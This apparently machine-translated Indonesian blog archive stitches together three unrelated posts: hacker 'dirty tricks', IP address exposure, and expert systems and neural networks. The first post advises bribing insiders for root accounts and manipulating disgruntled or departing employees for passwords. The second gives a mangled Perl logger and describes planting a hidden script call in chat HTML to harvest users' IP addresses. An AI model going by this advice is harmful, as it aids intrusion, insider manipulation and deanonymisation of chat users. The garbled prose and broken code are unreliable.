Adapun kritik dari "pembela hukum," penting untuk menawarkan sebuah cara untuk menghilangkan kekurangan dalam keamanan komputer yang Anda temukan dalam perjalanan investigasi mereka. Anda - hacker, dan dengan demikian mengetahui cara berpikir hacker. Anda tahu bahwa mereka ada dalam pikiran, dikenal karena teknik mereka, sehingga Anda benar-benar memiliki alasan untuk membuat rekomendasi untuk melindungi sistem dari gangguan. Jelaskan kepada majikan Anda mengapa sangat penting untuk mengikuti semua saran Anda. Beritahu kami bagaimana Anda masuk ke sistem, apa kelemahan yang ditemukan, beritahu kami tentang perangkap potensial yang dapat menyebabkan masalah di masa depan.

klien Cocok juga bisa menjadi individu yang prihatin tentang keutuhan informasi yang disimpan dalam database mereka. Hire hacker untuk mengubah nomor telepon, mencari yang hilang angka di katalog dan alamat, memindahkan file, melihat data berlisensi, perubahan dalam tingkat pendidikan, dll Hacking Komputer perusahaan dalam kontrak dengan bisnis ini sama - benar-benar pekerjaan yang sah, tetapi dengan membantu orang-orang masuk ke file data dan bahkan mengubah mereka, Anda akan melanggar hukum. Oleh karena itu pilihan orang dengan siapa anda berurusan dengan, dan mengungkapkan mereka untuk data pribadi mereka harus sangat berhati-hati.

Hacking - adalah hobi. Namun, jika baginya Anda akan mulai membayar sebelum pertanyaan Anda adalah: bagaimana jika Anda gagal untuk melakukan pekerjaan itu?

Tentu saja, untuk hacker super seperti Anda tidak memiliki hambatan, tapi kadang-kadang kehabisan waktu, atau kesulitan yang tak terduga, dan sistem pada awal seperti rapuh yang tampak, tumbuh menjadi rakasa ditembus besar untuk mengatasi bahwa Anda tidak bisa. Saat itulah permainan dimulai melanggar peraturan. Saya harap Anda tidak harus menggunakan cara ini tidak hacking. Di sisi lain, jika saatnya telah tiba ketika Anda harus memilih - baik menyerah atau menyelesaikan pekerjaan dengan menggunakan cara-cara inovatif untuk lebih memilih yang terakhir, agar tidak merusak reputasinya.

Juga, mengapa membatasi diri Anda sendiri untuk teknik hacking murni, sementara banyak hacker jangan ragu untuk menggunakan metode non-standar, mereka ingin masuk ke sistem anda? Jika perusahaan membayar Anda bagi Anda untuk menghentikan penyusup, Anda harus memeriksa, tidak akan bekerja jika metode mentah, yang luas di kalangan ingin mendapatkan akses ke komputer tidak hacker. Selain itu, sehingga Anda harus memeriksa kekuatan sistem, untuk keselamatan yang Anda dibayar.

Dirty trik

Aku menyebutnya trik kotor, karena seperti hal prisushi hanya amatir kasar. Ini "teknologi" - bukan hanya untuk hacker. Aku akan mengatakan lebih lanjut: prisushi seperti hal hanya untuk mereka yang tidak adalah pengguna komputer! Dengan "pengguna komputer" Maksudku orang-orang yang menggunakan komputer karena mereka ingin, dan bukan oleh kebutuhan.

Seringkali, trik ini digunakan untuk melakukan pencurian atau spionase - daerah yang relevan dengan hacking ini hanya sejauh relevan dengan komputer. hacker ini harus tahu tentang adanya trik ini, tetapi untuk resor kepada mereka hanya sebagai pilihan terakhir dan hanya ketika dia punya alasan serius untuk melakukan pencurian.

suap

Mungkin Anda tidak perlu suap dirinya administrator sistem, tetapi mungkin ada seseorang dari kelas bawah, juga memiliki "akses tertinggi", yang ingin biaya untuk memberikan akses yang sama Anda. Lebih baik menggunakan suap untuk mendapatkan akses ke sistem daripada untuk menyuap orang, bahwa ia dilakukan bagi Anda masalah komputer. Pada akhirnya, Anda tidak ingin melibatkan dirinya dalam karyanya jika Anda terlibat dalam spionase oleh komputer, maka Anda paling membutuhkan karyawan perusahaan yang tahu tentang pelajaran Anda.

Gunakan baik suap untuk mendapatkan akses ke anggaran dari orang kepada siapa anda memberikan suap, atau hanya membuat anggaran untuk pengguna root. Dalam kasus terakhir, masukkan sistem hanya dalam ketiadaan orang kepada siapa Anda memberikan suap, bahwa dia tidak akan melihat keluar dari rasa ingin tahu, apa yang Anda lakukan.
sakit hati

Ini bukan sebuah "trik kotor", tetapi sesuatu seperti ini. Jika Anda berhasil menemukan seorang anggota staf, terutama seorang programmer yang marah pada perusahaan tersebut, dan mungkin bahkan akan berhenti - percaya bahwa hal itu dilakukan. Gunakan keluhan nya kepada perusahaan terhadap perusahaan. Mengingatkan dia seberapa buruk perusahaan itu kepadanya bahwa karyanya tidak dinilai benar, selalu memberi preferensi kepada orang lain. Tanpa masuk ke rincian, biarkan aku tahu apa yang Anda ingin membantunya membalas dendam terhadap perusahaan. Tentu saja, hal-hal tersebut tidak layak seorang hacker, tapi jika Anda berhasil memenangkan seorang karyawan terluka, itu tanggung jawab beruang untuk kasus hacking Anda (ya, kadang aku kejam, aku tahu).

Dalam hal apapun, karyawan yang mencari kehidupan yang lebih baik, atau mereka yang jijik bos mereka, adalah sumber terkaya informasi rahasia, termasuk jargon perusahaan, direktori telepon, prosedur dan strategi. Dan, tentu saja, password.

Jika tujuan Anda adalah sebuah sistem dengan perlindungan tingkat tertinggi, harapan terakhir Anda - untuk mendapatkan teman yang bekerja di organisasi ini. Tetapi mantan karyawan akan marah karena itu digunakan. Jika Anda mendengar tentang seorang karyawan yang akan pensiun, atau yang akan memecatnya - menggunakan kesempatan ini untuk anda untuk mengumpulkan data yang diperlukan. Setelah semua anggaran komputer akan ada lama setelah karyawan meninggalkan perusahaan. Setelah itu terjadi, maka akan semua sama, Anda menggunakan password atau tidak.

Apa yang bisa dilakukan dengan alamat IP

2011-03-28T08:42:00.000+07:00

Apa yang bisa dilakukan dengan alamat IP

Apa yang bisa dilakukan dengan alamat IP diketahui, internet berdasarkan keluarga protokol tcp / ip, menentukan bagaimana interaksi antar komputer jaringan. Identifikasi komputer ini dengan menggunakan IP yang disebut-alamat, yang masing-masing mewakili 32 pengenal unik-bit, biasanya ditulis sebagai empat angka desimal, misalnya, 192.168.0.1. Dan dalam hal mengatasi server yang menangani ribuan permintaan per detik hampir tidak berbeda dari komputer Anda harus terhubung ke jaringan melalui dial-up. Satu-satunya perbedaan antara pengguna rumah biasanya menerima ip address disebut-dinamis, berubah dari sambungan ke koneksi. Sedangkan alamat server harus tersedia untuk semua pelanggan yang ingin menggunakan layanan tersebut, klien tidak berkewajiban untuk beriklan alamatnya di setiap sudut. Selain itu, pengungkapan ip-alamat dapat mengakibatkan konsekuensi yang sangat serius. Apa yang bisa saya lakukan dengan seorang pria, mengetahui ip-address nya? Yah, misalnya, jika dalam mobilnya dengan Windows'95 hidup NetBIOS over IP, dan terpisah untuk akses ke jaringan, sehingga bahkan tanpa password, beberapa disk, maka cukup banyak:) (bagi mereka yang tertarik - di sini dapat membantu nbtstat, lmhosts dan bersih digunakan). Benar itu tidak terlalu umum di dial-up pengguna. Contoh lain - tahun lalu ditemukan lubang di IE dan NN, memungkinkan Anda akses ke file-file klien. Lubang Namun, sudah tertutup, tapi siapa yang tahu berapa banyak dari mereka masih tersisa. Sampai saat ini, populer di kalangan tertentu dalam program, secara kolektif disebut (akan kembali ke program pertama dari kelas ini - Winnuke), yang melakukan serangan seperti Denial of Service, yang mengarah ke crash atau memutuskan sambungan dari jaringan komputer diserang. Saudara-saudara terkasih oleh jutaan pengguna dari ICQ (http://www.icq.com), juga, tidak tanpa dosa. Di dunia Fyodor Exploit halaman (http://www.dhp.com/ ~ Fyodor / sploits.html) antara lain memberikan informasi tentang kelemahan-protokol ICQ Shnogh (Fyodor http://www.dhp.com/ ~ / sploits / icq spoof.overflow.seq.html)., yang telah membantu untuk menciptakan berbagai program yang dapat membuat hidup seorang pengguna ICQ tidak terlalu segar. Misalnya, pada halaman ICQ snoofer Tim (http://const.ricor.ru/ ~ icq /) diundang untuk mencoba sebuah program yang memungkinkan untuk mengirim pesan dari ICQ UIN lain. Snoofer ada dalam dua versi - sebagai script yang tersedia dari halaman, dan sebagai sebuah program yang menjanjikan untuk mengirim surat. Untuk menggunakannya cukup untuk mengetahui ip-address dari nomor port tujuan yang hang ICQ, UIN dan pengirim. Instruksi disertakan. Namun, semua program ini menyenangkan cocok terutama untuk kegiatan yang merusak, arti khusus di mana saya tidak dapat melihat (by the way, berjalan pada server suara pada "nyukov" menunjukkan bahwa sebagian besar pengunjung dalam solidaritas dengan saya). Mari kita lihat tindakan apa yang dapat diambil untuk mengidentifikasi dan menyembunyikan ip-address. resep Absolute, tentu saja, tidak ada, Anda hanya dapat berbicara tentang kasus yang paling umum. Secara umum, alamat IP Anda mungkin akan menyala di berbagai tempat. Hal lain - karena kemudian menarik keluar. Katakanlah browser favorit Anda saat masuk ke halaman manapun mengidentifikasi diri dengan banyak informasi. Sebagai demonstrasi sederhana akan membawa script untuk Perl'e yang menampilkan informasi dasar tentang pengunjung ke halaman:

Listing 1.

showuser.pl # / usr! / bin / perl print
("Content-type: text / html \ n \ n"); @ ee = ("CHARSET", "HTTP_USER_AGENT", "HTTP_REFERER", "REMOTE_ADDR", "REMOTE_HOST");
foreach $ e (@ ee)
{Print "$ e: $ ENV {$ e} \ n";}

Sebenarnya itu berlakunya ip kasus yang paling berbahaya-alamat (kecuali jika kita asumsikan webmaster kedengkian untuk menginstal script, menyerang pengunjung, tapi kemungkinan serangan yang ditargetkan dapat diabaikan). IP-address dari pengirim dapat ditarik dari header alamat e-mail yang diterima (kemungkinan besar, ia akan terletak pada bidang yang terakhir, Diterima:, berbeda dengan field Dari: menempa sedikit lebih keras). Jika Anda memiliki alamat yang ditetapkan secara dinamis, situasinya tidak terlalu berbahaya. Lebih buruk lagi, jika alamat konstan, yang, bagaimanapun, terjadi tapi jarang. Yang paling berbahaya dalam hal pengungkapan ip-alamat adalah sistem mungkin untuk komunikasi interaktif - IRC (perintah / whois), InternetPhone, ICQ, dll Hal ini wajar untuk dicatat bahwa beberapa dari mereka mencoba untuk menutupi alamat dari pengguna (misalnya, MS Komik Chat hanya menunjukkan bagian dari alamat di ICQ'98 kesempatan untuk menyembunyikan alamat Anda, meskipun tidak terlalu baik berfungsi ketika berhadapan dengan versi lebih tua), tetapi di sebagian besar sistem alamat benar-benar terbuka. Sedangkan untuk html-chat, itu semua tergantung pada kemauan pengembang, kemampuan dasar untuk menampilkan alamat ip ada, seperti yang ditunjukkan sedikit lebih tinggi. Idenya adalah: jika chat diperbolehkan input html tag, tidak ada salahnya untuk memasukkan pesan Anda ke dalam sesuatu seperti Pada akhirnya, semua orang di chatting (bahkan tidak terdaftar) akan, tanpa menyadarinya, panggilan sniffer.cgi script. Tapi yang lain adalah masalah teknik, pelaksanaan ini Perl'e script terkemuka log semua panggilan, mengambil beberapa jahitan. Versi demo dari script ini tersedia di www.hackzone.ru / cgi-bin / sniffer.cgi Penggunaan sangat sederhana - Anda masukkan ke dalam pesan teks Anda, di mana id - ID channel (bisa menghindari kebingungan saat menggunakan script di chat room berbagai oleh orang yang berbeda). Jika obrolan ini mendukung memasukkan html-tag, semakin besar kemungkinan Anda akan melihat logo animasi HackZone. Semua yang sekarang masih - lihat log (http://www.hackzone.ru/files/snifflog.txt), di mana ia menulis tanggal pengobatan untuk ini, ip address dan script-identifier id. Karena ini adalah demonstrasi di log hanya menyimpan 30 catatan terakhir.

Listing 2.

sniffer.pl # / usr / bin / perl $ log = "/ local / path / ke / / server Anda / snifflog.txt"!;
$ Now_string = localtime; @ thetime = split (/ + /, $ now_string); @ theclock = split (/:/,$ thetime [3]);
$ Ampm = 'am', jika (theclock $ [0]> 11) {$ ampm = 'pm';} if (theclock $ [0] == 0) {$ theclock [0] 12 =;}
if ($ theclock [0]> 12) {$ theclock [0] -= 12;} else {$ theclock [0] + 0 =;} $ lnum = $ ENV {'QUERY_STRING'};
terbuka (DB, "$ log") | | die "Tidak Bisa Membuka log $: $ \ n!"; flock (DB, 2); baris @ =; kawanan (DB, 8); dekat (DB);
$ Line0 = "[$ thetime [0] theclock $ [0] \: $ theclock [1] $ ampm] (" $ Lnum.. ")".
$ ENV {REMOTE_ADDR} "." $ ENV {REMOTE_HOST};. $ Maxline = @ line; maxline $ = 30 if (maxline $> 30); terbuka (DB, ">
$ Log ") | | die" Can't log Terbuka $: $ \ N "; flock (DB, 2); cetak DB (" $ line0 \ n "); for ($ i = 0; $ i)!

Sekarang sedikit tentang bagaimana melindungi diri dari semua keburukan ini. Cara termudah untuk menutup diri ketika berjalan di Web - menggunakan proxy atau layanan seperti Anonymizer, Inc (Http: / / sol.infonex.com /). Pekerjaan mereka sama - anda akan langsung hanya berkomunikasi dengan server-proxy, dan kerja keras meminta situs yang dilakukannya untuk Anda. Terburuk dari semuanya adalah kasus dengan chat room. Masalahnya adalah bahwa jika Anda menemukan proxy kiri ke www cukup mudah, layanan serupa untuk irc, icq, dan lain-lain seperti mereka ditemukan, untuk secara halus, sangat jarang, dan untuk pengguna dialup sederhana ini praktis tidak dapat diakses. Itu sebabnya sebagian besar dana untuk serangan terhadap ip dipertajam oleh berbagai irc-klien. Jadi di sini adalah mungkin untuk melawan hanya dua cara. Yang paling dapat diandalkan - tidak menggunakannya sama sekali. Yang lebih realistis - untuk berjuang tidak dengan penyebabnya, dan dengan konsekuensi - untuk menemukan patch segar dan berharap bahwa melawan baju besi Anda belum dibuat pistol yang cocok. Tertarik pada pertanyaan privasi di Internet dapat merekomendasikan sebuah situs yang sangat bagus "Privasi Masalah: Privasi di Internet" (http://www.tamos.com/privacy/ru/), yang sepenuhnya subjek ini. Selain masalah anonimitas di WWW dan IRC (dicat dengan sangat rinci), di sini menjelaskan bagaimana menentukan identitas dari alamat email yang diberikan nasihat singkat tentang penggunaan alat-alat kriptografi, di sini adalah program untuk memata-matai input keyboard, beberapa link bagus, dll

Apa yang disebut sistem kecerdasan buatan?

2011-03-28T08:36:00.000+07:00

Apa yang disebut sistem kecerdasan buatan?

KECERDASAN BUATAN gagasan dapat dilihat dari berbagai sisi.
Dari intelijen
Kecerdasan buatan adalah apa yang membuat mobil "pintar" - tindakan
mirip dengan apa yang kita harapkan dari orang-orang.

Ketidakmampuan untuk membedakan reaksi dari komputer reaksi manusia yang disebut kriteria
Turing.
Intelijen memerlukan pengetahuan.
Solusi masalah dalam praktek karena keterbatasan domain dalam rangka
menggunakan pengetahuan yang signifikan sesuai.

Dari perspektif penelitian
"Kecerdasan buatan - adalah belajar bagaimana membuat komputer melakukan
hal yang orang saat ini sedang melakukan lebih baik. "

Penelitian di kecerdasan buatan dimulai pada 1960-an - upaya pertama
telah dibuat dalam memecahkan masalah catur, membuktikan teorema (beberapa sederhana
teorema) dan penciptaan sebuah pemecah masalah umum (hanya tugas yang sangat sederhana)

Menulis pemecah masalah umum ternyata jauh lebih sulit daripada awalnya
diharapkan. Para peneliti tidak dapat menyelesaikan masalah, biasanya diselesaikan
manusia ahli.

Dasar nama "kecerdasan buatan" adalah bidang studi.

Penelitian di kecerdasan buatan antara lain:

Formal masalah (matematika, games)
Hari, masalah (persepsi, robotika, bahasa alami,
argumen berdasarkan akal sehat)
Ahli masalah (analisis keuangan, diagnosa medis, ilmiah
analisis, dan daerah lainnya)

Dari perspektif Artificial Intelligence - adalah seperangkat sangat kuat
alat dan teknik yang digunakan sebagai alat
berarti untuk memecahkan masalah praktis.
Dari sudut pandang perencanaan operasional KECERDASAN TIRUAN mencakup studi
dan studi metode untuk memecahkan masalah dalam bentuk simbolik:

metode khas dari AI lebih fokus pada metode pengolahan simbolik
informasi dari numerik.
Memecahkan masalah - itu berarti untuk mencapai tujuan.
Search - jarang langsung berhubungan dengan solusi. Cari mungkin termasuk sejumlah metode.

Pemrograman Bahasa KECERDASAN BUATAN meliputi:

LISP, dikembangkan di tahun 1950 - bahasa pemrograman awal, benar-benar
berhubungan dengan kecerdasan buatan. LISP-bahasa pemrograman fungsional
dengan ekspansi dalam bentuk prosedur. LISP (daftar pemrosesan CPU) telah dikembangkan
untuk pengobatan berbagai daftar - biasanya daftar karakter. Fitur LISP,
yang membuatnya menarik bagi peneliti di bidang buatan
KECERDASAN termasuk kontrol dinamis, penggunaan fungsi yang
fungsi lain sebagai parameter, administrasi memori otomatis
(Build "sampah") dan interaktif lingkungan.

bahasa Kedua, adalah sangat terkait dengan kecerdasan buatan, adalah Prolog. Prolog adalah
dikembangkan di tahun 1970-an. Prolog didasarkan pada kalkulus predikat, yang pertama
pesanan. Deklaratif bahasa Prolog di alam dan memiliki sarana untuk mengekspresikan
ogranicheniyao ledakan pencarian.

Bahasa berorientasi objek - kelas besar bahasa, yang baru-baru ini menjadi
digunakan untuk pemrograman kecerdasan buatan. Penting
fitur bahasa berorientasi objek meliputi:
* Konsep benda (target) dan laporan
* Objek data standar dan metode untuk pengelolaan data
* Apa yang harus dilakukan, menentukan sumber, penerima memutuskan bagaimana melakukannya.
* Keturunan (hierarki obyek, di mana benda-benda mewarisi atribut
objek dari suatu kelas yang lebih umum)

Contoh bahasa berorientasi objek - Smalltalk, objek C, C + +. Juga
digunakan berorientasi objek ekstensi LISP (CLOS - Common
Berorientasi objek, LISP-sistem) dan Prolog (L & O-Logika dan Objek).
______________________________________________________________________________________

II. Apa yang disebut sistem pakar (ES)?
Ada berbagai definisi sistem pakar. Beberapa definisi didasarkan pada
mereka fungsi. Definisi lainnya berdasarkan struktur mereka. Ketiga
definisi yang ada dalam pikiran komponen fungsional dan struktural. Banyak dari awal
definisi mempertimbangkan argumen berdasarkan aturan.

KOMPONEN FUNGSIONAL
Bahwa sistem tidak
"... Sebuah program komputer yang berperilaku seperti ahli manusia dalam
beberapa manfaat yang arah. "[Winston dan Prendergast, 1984, C.6]

Daerah Terapan

"... Untuk efektif menangani area aplikasi yang sempit." [Waterman, 1986,
c.xvii]
... khas definisi "masalah diselesaikan, yang dapat
direpresentasikan dalam bentuk simbolik "[Liebowitz,, 1988 h. 3]

Kompleks aplikasi

"... Terapkan pakar pengetahuan untuk masalah dunia nyata kompleks"
[Waterman, 1986, c.18]
"... Untuk mengatasi masalah-masalah yang cukup rumit, membutuhkan
substantif keahlian "[Edward Feigenbaum, 1985, C.5]

Efisiensi persyaratan

"Kemampuan untuk beroperasi pada tingkat ahli yang berpengalaman" [Liebowitz,, 1988 h. 3]
"Program yang meniru kemampuan ahli manusia." [Brule, 1986, hal 6]
"... Match tingkat kompetensi ahli manusia dalam tertentu
daerah. "[Uskup, 1986, c.38]
"... Untuk menawarkan penilaian intelektual atau mengambil cerdas
solusi selama operasi. "Spesialis [Computer Society British Group
di Forsyth,, 1984 ss.9-10]
"Biarkan pengguna untuk memperoleh keahlian peer review atau mirip
sehingga ia bisa mendapatkan, dalam konsultasi dengan ahli manusia. "[Edwards
dan Connell, 1989, h. 3]

Penjelasan penalaran

"... Kemungkinan sistem, atas permintaan, memberikan penjelasan tentang bagaimana itu
menerima satu atau kesimpulan lain. "Spesialis [Computer Society Inggris Group di
Forsyth, 1984, p.9-10]
"Proses registrasi dijelaskan ..." [Liebowitz, 1988, h. 3]
___________________________________________________________________________________

STRUKTUR KOMPONEN

Karena sistem beroperasi
Menggunakan metode kecerdasan buatan

"... Penggunaan teknik pemrograman kecerdasan buatan, terutama
kedua metode yang dirancang untuk memecahkan masalah "[Dictionaty of Computing,
1986, p.140]

Komponen Pengetahuan

"... Komputer perwujudan dari basis pengetahuan pengalaman ahli ..." [Inggris Komputer
Masyarakat Specialist Group di Forsyth, 1984, p.9-10]
"Komputer, didasarkan pada sistem perwakilan ahli pengetahuan" [Edwards dan
Connell, 1989, h. 3]
"Pengetahuan tentang sistem pakar terdiri dari fakta-fakta dan heuristik. Fakta-fakta adalah inti
informasi. Ini adalah sesuatu yang banyak diwakili, aksesibilitas, disepakati oleh para ahli di
daerah tertentu. "[Feigenbaum Edward, 1985, p.5]
"Ahli sistem - program komputer canggih yang memanipulasi
pengetahuan untuk memecahkan masalah "[Waterman, 1986, s.xvii]

Berbagi pengetahuan dan manajemen

"... Secara eksplisit meliputi pengetahuan tentang area subyek, yang dipisahkan dari yang lain
Sistem "[Waterman, 1986, hal.18].

Menggunakan Prosedur O - heuristik - ketidakpastian

"... Intelligent program komputer yang menggunakan pengetahuan dan
inferensi prosedur "[Edwars Feigenbaum, 1985, C.5].
"Gaya diadopsi untuk mencapai karakteristik - pemrograman ini,
berdasarkan aturan. "[Computer Society Inggris Specialist Group di Forsyth,
1984, p.9-10].
"Pengaturan perilaku cerdas oleh aplikasi yang berkualitas
heuristik pemrograman "[Waterman, 1986, hal.18].
"Terutama swasta heuristik, beberapa aturan penilaian (aturan penalaran
berdasarkan fakta, aturan asumsi) - ini adalah apa yang mencirikan tingkat
ahli pembuatan keputusan di daerah tertentu "[. Edward Feigenbaum, 1985,
C.5].
"... Dimasukkannya cara untuk menangani ketidakpastian ..." [Liebowitz, 1988, h. 3]

Model ahli manusia

"... Bisa dianggap sebagai model ahli pada praktek terbaik dalam tertentu
daerah. "[Feigenbaum Edward, 1985, C.5].
"... Representasi pengetahuan khusus tentang masalah dalam cara yang sama
ahli manusia berpikir "[Liebowitz, 1988, h. 3].
"... Melibatkan penggunaan informasi yang relevan diperoleh sebelumnya
dari ahli manusia. "[Dictionaty of Computing,, 1986 c.140]
___________________________________________________________________________________

III. Bagaimana orang berpikir?
Mereka membuat kategori

Ketersediaan - Aktiva Lancar
Aktiva Lancar - Suatu aset

Mereka menggunakan aturan khusus, sebuah aturan priori

Sebagai contoh, pajak hukum ... Begitu banyak dari mereka untuk setiap kesempatan
Aturan dapat dipesan sehingga

"Jika A maka B" ...
"Jika B, maka C"
---> B ---> C
Mereka menggunakan heuristik --- "crawl aturan"

Heuristik bisa diperbaiki dengan menggunakan aturan-aturan semacam ini

"Jika makanan yang mengandung daging
Kemudian pilih warna anggur merah "

Sebuah heuristik adalah suatu aturan dengan kondisi

Mereka menggunakan pengalaman masa lalu --- "fakta"
Hal ini terutama jelas dalam argumen berdasarkan preseden.

Misalnya, dalam hukum atau dalam pilihan standar akuntansi keuangan

Pengurangan kasus ini untuk kasus-kasus sebelumnya adalah dasar untuk pemilihan tindakan

Simpan informasi tentang fakta, menggunakan atribut kunci. Sebagai contoh, Mobil
dapat dicirikan oleh: tahun produksi mobil, mobil bekas, kecepatan
mobil, dll

Apa yang membuat sebuah argumen yang baik, itu membuat argumen yang baik
Mereka menggunakan "Harapan"

"Anda tidak akan independen hari ini

Jika perilaku kita berbeda dari matematis yang diharapkan, maka disebut

"Model perilaku"
______________________________________________________________________________________

IV. Bagaimana Komputer alasan?
MODEL KOMPUTER ADALAH BERDASARKAN MODEL PENALARAN MANUSIA
Bingkai

Setiap atribut dari bingkai yang disebut "slot"
Setiap frame - adalah simpul (node) dalam satu atau lebih hubungan hierarkis seperti
"Adalah"
Mereka menggunakan aturan A --- B> ---> C
Himpunan peraturan disebut basis pengetahuan atau rule base.
Mereka menggunakan pengenalan pola, misalnya, sistem kartu kredit; Sistem
keamanan database
___________________________________________________________________________________

IV-1. Bingkai

Jaringan terdiri dari simpul (node) dan hubungan antara mereka
Di satu sisi, mereka sangat mirip dengan database tradisional, tetapi di sisi lain,
sangat berbeda dari dia
Atribut yang disebut "slot"
Nilai ini dapat secara eksplisit diatur
Metode penentuan nilai lebih berharga daripada nilai sendiri
Setiap frame - simpul (node) terletak dalam satu atau lebih hubungan hirarkis
ketik "adalah"

Upper tingkat hirarki adalah konsep-konsep umum, dan lebih rendah
spesifik
nilai ini dapat diwariskan dari simpul umum (node)
Penyampaian bingkai dalam bentuk prototipe dapat diatur ke default,
yang kemudian dapat dihapus.

Sebagai contoh, kami menggambarkan subjek tumbuh di halaman belakang saya:
elm - pohon pohon tak terbantahkan terbantahkan - pohon, pohon - tanaman, tanaman - hidup
organisme.
______________________________________________________________________________________

IV-2. Argumen didasarkan pada aturan
Saat ini, bentuk yang paling umum representasi pengetahuan dalam sistem pakar.
Struktur sistem pakar
User interface
Ramah
Yang paling "cerdas"
* Pengetahuan tentang cara memberikan informasi
* Pengetahuan tentang sistem preferensi pengguna

Database
Berisi beberapa data menarik bagi
Dapat dihubungkan ke jaringan atau database publik yang tersedia

Mekanisme inferensi
Pengetahuan umum tentang isu-isu dan metode
Interpreter mengurai dan proses aturan
scheduler menentukan urutan pertimbangan aturan
Search berdasarkan peraturan
Mengambil keuntungan dari informasi heuristic
Di sisi lain, sedangkan pemecahan masalah dapat
terlalu banyak
* Masalah ini disebut ledakan kombinatorial
shell Sistem Pakar merupakan suatu logika disesuaikan
O
Basis Pengetahuan (aturan database)
Mengandung sejumlah besar pengetahuan tentang pemecahan masalah
Aturan memiliki bentuk IF kondisi (kondisi) MAKA tindakan
Bagian dari peraturan kondisi (negara bagian) - biasanya fakta - (Jika
beberapa fakta tertentu dalam database, kemudian berjalan
beberapa tindakan)
Bagian dari aturan mungkin termasuk
Tindakan yang mempengaruhi dunia luar (jenis
pesan di terminal)
Periksa peraturan lain
Menambahkan fakta baru dalam database (jika hujan,
Itulah jalan basah).
Aturan dapat spesifik, sebuah aturan apriori (misalnya, hukum pajak ...-
merupakan kodifikasi hukum dan peraturan.
Aturan mungkin heuristik (misalnya, jika makanan termasuk daging,
kemudian pilih anggur merah).
"Aturan Crawl" - adalah kebijaksanaan duniawi.
Aturan dapat mengikuti dari satu sama lain (misalnya "Jika A maka B"; "Jika B maka
C "; sebagai A --- B ---> C>, kemudian" Jika A maka C ").
(Jika hujan, maka jalan basah Jika jalan basah, jalan yang licin..)
Koefisien (faktor) adalah derajat kebenaran kepercayaan
fakta
______________________________________________________________________________________

IV-2a. Pengetahuan Teknik
Disiplin pembangunan sistem pakar
Peran Teknik Pengetahuan
Koleksi Pengetahuan
Proses memperoleh pengetahuan dari pakar atau dari sumber lain. (Seperti buku,
direktori).
Mungkin mencakup pengembangan pengetahuan mengenai pemecahan masalah
Pengetahuan ekstraksi
Mendapatkan informasi dari ahli manusia
Representasi Pengetahuan
Metode pengkodean pengetahuan untuk digunakan dalam sistem pakar
Metode menyajikan pengetahuan umum termasuk aturan, frame, dan fakta-fakta.
Puting pengetahuan dalam aturan, fakta atau model disebut proses pengajuan
pengetahuan.
______________________________________________________________________________________

IV-3. Argumen berdasarkan fakta
Proses penalaran berdasarkan fakta
Menggunakan pengalaman masa lalu
Berdasarkan premis bahwa orang telah menggunakan argumen yang sama atau
penalaran eksperimental untuk mengeksplorasi dan memecahkan masalah kompleks
Hal ini terutama terlihat dalam argumen berdasarkan preseden
(Sebagai contoh, sebuah undang-undang tentang perpajakan atau pilihan standar akuntansi keuangan)
Berguna jika Anda dapat menggunakan sedikit bukti, atau jika
informasi tidak lengkap

Fakta - itu
Informasi tentang situasi
Keputusan
Hasil penggunaan solusi spesifik
Kunci atribut yang dapat digunakan untuk cepat mencari

Unsur-unsur sistem yang menggunakan argumen berdasarkan fakta
Dasar fakta - fakta banyak
Indeks Perpustakaan - obyknovennno digunakan untuk pencarian yang efisien dan cepat
fakta, yang untuk sebagian besar sesuai dengan atau yang mirip dengan masalah saat ini
Kesamaan metrik - umumnya digunakan untuk menentukan derajat kedekatan arus
tantangan untuk fakta-fakta di masa lalu, yang dipilih untuk mencari perpustakaan
indeks;
Adaptasi modul - mengembangkan masalah saat Anda dengan modifikasi
solusi (adaptasi struktural) atau menciptakan solusi baru berdasarkan pada proses
digunakan dalam kasus serupa di masa lalu (adaptasi derivatif).
Pelatihan
Jika fakta yang tepat tidak ditemukan, maka fakta saat ini dan keputusannya, ditemukan pria
dapat ditambahkan ke dalam database fakta-fakta, yang memungkinkan sistem untuk belajar.
______________________________________________________________________________________

IV-4. JARINGAN SYARAF
Jaringan Syaraf Tiruan
Berdasarkan pengenalan pola
Satu set item terkait, menggambarkan sebuah model matematika yang relatif sederhana
Bandingkan contoh pada serangkaian contoh dan belajar dari contoh-contoh, menyesuaikan
hubungan berat
Weekend sampel digunakan untuk mengklasifikasikan satu set baru contoh
Mampu mengenali pola, bahkan jika data yang mengandung noise, ambigu, terdistorsi
atau memiliki banyak varietas

Desain jaringan saraf dan pelatihan
Arsitektur yang digunakan (misalnya sambungan langsung)
Organisasi neuron (misalnya entry level dengan lima
neuron, dua tingkat tersembunyi dari tiga neuron di masing-masing dan
tingkat keluaran dengan dua neuron.)
Menggunakan fungsi negara (misalnya fungsi penjumlahan)
Digunakan konversi fungsi (seperti fungsi kompresi)
Algoritma pembelajaran yang digunakan (misalnya propagasi belakang)

Arsitektur
Bagaimana elemen dasar
Umumnya digunakan arsitektur:
Dengan koneksi langsung
Boltzmann
Lapisan (juga disebut tingkat, ladang, atau suku kata)
Diselenggarakan di sejumlah tingkatan
Level Input
Satu atau lebih tersembunyi tingkat
Tingkat Output
Beberapa mempertimbangkan jumlah tingkat sebagai bagian dari arsitektur
Orang lain melihat jumlah tingkat dan node pada level yang lebih mirip atribut jaringan, dan
bukan sebagai bagian dari arsitektur.

Neuron - elemen komputasi
Kosakata di daerah ini tidak sepenuhnya menolak, dan berbagai penulis memiliki kecenderungan untuk
menggunakan set kecil istilah untuk menunjukkan konsep yang berbeda.
Struktur Neuron
Komposisi
* Himpunan koneksi input tertimbang
* Ambang
* Negara
* Fungsi non-linear transformasi
* Keluar
Nilai dari sinyal input ditentukan oleh baik neuron sebelumnya, atau lingkungan.
Nilai ambang batas ini tidak tersambung ke neuron lain di dalam jaringan dan didefinisikan untuk input
sama dengan 1 untuk fungsi penjumlahan variabel
Berat
* Sejumlah nyata yang menentukan tingkat interaksi neuron masukan
* Setiap neuron input, termasuk nilai ambang memiliki terkait
dengan berat
Fungsi Negara
* Bentuk yang paling umum - fungsi sederhana dari penjumlahan
* Keluar dari fungsi negara adalah masukan untuk fungsi transformasi
Fungsi Konversi
* Sebuah fungsi matematika yang mengkonversi data ke tertentu
skala
* Dua dasar jenis fungsi konversi: kontinyu dan diskrit
* Umumnya menggunakan fungsi konversi kontinu - gigi gergaji, tanda (x),
ArcTg dan hiperbolik Tangent
fungsi kontinu * kadang-kadang disebut fungsi kompresi
* Yang paling umum digunakan fungsi diskrit - langkah demi langkah dan ambang
* Fungsi transformasi Diskrit kadang-kadang disebut fungsi aktivasi
Pelatihan
